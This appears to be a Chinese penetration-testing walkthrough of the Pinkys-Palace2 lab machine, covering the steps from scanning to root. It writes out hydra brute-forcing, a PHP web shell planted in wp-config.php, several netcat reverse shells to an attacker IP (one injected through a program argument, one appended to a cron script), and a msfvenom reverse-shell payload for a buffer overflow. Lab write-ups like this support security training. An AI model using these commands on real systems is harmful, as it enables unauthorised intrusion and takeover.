攻克Pinkys-Palace2靶机:超详细渗透实战教程
在网络安全的学习与实践中,靶机练习是提升技能的重要途径。今天,我们就来深入剖析Pinkys-Palace2靶机的渗透过程,一步步带你从发现目标到成功提权,满满的干货,赶紧收藏!
一、前期准备
(一)靶机提醒
由于Wordpress在该靶机中无法正常呈现,需要修改主机文件。根据靶机提示,使用命令 echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts
,将靶机IP与自定义域名绑定,为后续访问做准备。这里的 192.168.x.x
需替换为实际靶机IP,在后续扫描网段操作中会获取。
(二)扫描网段
通过 nmap -sP 192.168.20.0/24
命令扫描指定网段,成功发现目标靶机 192.168.20.137
。此步骤就像是在网络中“探路”,确定目标的位置。
(三)扫描端口
利用 nmap -sV -O -p- 192.168.20.137
对靶机端口进行全面扫描,发现80端口开放http服务(Apache httpd 2.4.25),还有4655、7654、31337等端口,部分处于filtered状态,同时得知靶机运行的系统为Linux 3.2 - 4.9 。端口扫描帮助我们了解靶机开放的“大门”,为后续渗透找到入口。
二、信息收集与初步渗透
(一)修改host文件
执行 echo 192.168.20.137 pinkydb | sudo tee -a /etc/hosts
,将靶机IP和自定义域名 pinkydb
关联,方便后续访问。
(二)扫描目录
使用 dirb http://192.168.20.137/
扫描靶机目录,枚举到 /secret/
、/wordpress/
等多个目录。这些目录可能隐藏着重要信息,是我们进一步渗透的关键。
(三)访问secret目录
进入 http://192.168.20.137/secret/
,发现 bambam.txt
文件,里面包含 8890
、7000
、666
、pinkydb
等信息。这些数字和域名或许就是打开更多“大门”的线索。
(四)端口敲门
尝试对 pinkydb
的7000、8890、666端口进行端口敲门操作(nc -vz pinkydb 7000
、nc -vz pinkydb 8890
、nc -vz pinkydb 666
),虽然起初连接被拒绝,但这一步为后续发现开放端口埋下伏笔。
(五)再次扫描端口
执行 nmap -A -p- pinkydb
,发现除80端口外,4655端口开放ssh服务,7654端口开放http服务(nginx1.10.3),31337端口开放Elite服务(或相关未知服务)。同时,还获取到一些服务的详细信息,如http服务的生成器为WordPress 4.9.4 ,这为我们后续利用WordPress漏洞提供了可能。
(六)Web访问7654端口
访问 http://pinkydb:7654/
,发现是一个登录页面。使用 cewl http://pinkydb > 1.txt
对靶机站点生成单词列表,然后通过 hydra -L 1.txt -P 1.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
进行弱口令爆破,成功得到用户名 pinky
和密码 Passione
。
三、权限提升与深入渗透
(一)登录pinky用户
使用爆破得到的账号密码登录,进入系统后发现 credentialsdir1
目录下的 notes.txt
文件,从中获得用户名 stefano
和需要密码的私钥 id_rsa
。
(二)破解私钥密码
利用 ssh2john id_rsa > id_rsa_hash
提取私钥的hash,再通过 john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
破解密码,得到私钥密码为 secretz101
。
(三)登录stefano用户
修改私钥权限 chmod 600 id_rsa
,使用 ssh -i id_rsa [email protected] -p 4655
(实际应是 -p 4655 [email protected]
,原文可能有误)成功登录 stefano
用户。登录后在其家目录的 tools
目录发现 note.txt
文件和具有suid权限的 qsub
文件。
(四)寻找Web可写入文件
通过 cd /var/www
和 find . -perm -o=w
命令,找到可写入文件 ./html/apache/wp-config.php
。这是一个关键文件,为我们获取更高权限提供了途径。
(五)反弹shell
在 wp-config.php
文件中添加一句话 system($_GET[cmd]);
,然后在本地监听端口 nc -lnvvp 8888
,通过访问 http://pinkydb/wp-config.php?cmd=nc -e /bin/bash 192.168.20.100 8888
成功反弹shell。之后使用 python -c 'import pty;pty.spawn("/bin/bash")'
提升交互性。
(六)利用qsub程序反弹shell
查看 qsub
程序文件,发现 TERM[+]
环境变量。在kali监听端口 nc -lnvvp 9999
,在靶机运行 cd /home/stefano/tools
和 ./qsub '$(nc -e /bin/bash 192.168.20.100 9999)'
成功反弹shell。
(七)登录pinky用户(另一种方式)
在kali创建ssh证书,将公钥 authorized_keys
复制到靶机的 /var/www/html
目录,在靶机的 pinky
用户家目录创建 .ssh
目录并下载公钥,最后使用 ssh -i id_rsa [email protected] -p 4655
成功登录 pinky
用户。
(八)寻找可利用文件提升权限
登录 pinky
用户后,通过 find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/proc/*' ! -path '/dev/*' 2>/dev/null
查找可写入文件,发现 /usr/local/bin/backup.sh
文件。该文件虽属于 demon
用户,但 pinky
有全部权限,且猜测备份文件可能存在定时任务。
(九)获取demon用户权限
在 backup.sh
文件中添加反弹shell命令 echo 'nc -e /bin/bash 192.168.20.100 6666' >> /usr/local/bin/backup.sh
,在kali监听端口 nc -nlvvp 6666
,等待反弹成功。之后在 demon
用户家目录创建 .ssh
目录,下载公钥,使用 ssh -i id_rsa [email protected] -p 4655
成功登录 demon
用户。
四、最终提权
(一)寻找可利用二进制文件
登录 demon
用户后,通过 find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/home/*' 2>/dev/null
查找可写入文件,发现 /daemon/panel
文件。该文件是二进制文件,由 root
运行。
(二)利用gdb调试获取root权限
将 panel
文件传输到kali,使用 gdb panel
进行调试。通过一系列操作,如设置跟踪子进程、判断溢出点等,找到溢出位置和可利用的寄存器。利用 msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f python -b "x00" -a x64
生成shellcode,计算其长度后构造payload。在kali和靶机分别监听端口 nc -nlvvp 8888
,将构造的payload发送到靶机的31337端口,成功反弹shell并获得 root
权限。
通过以上详细步骤,我们成功完成了对Pinkys-Palace2靶机的渗透与提权。在实际操作中,每一步都需要细心和耐心,同时要遵守法律法规,仅在合法授权的环境下进行此类练习。希望这篇教程能帮助大家提升网络安全技能,在学习和实践中不断进步!如果在操作过程中有任何疑问,欢迎在评论区留言交流。
原文始发于微信公众号(泷羽Sec-边酱):攻克Pinkys-Palace2靶机:超详细渗透实战教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论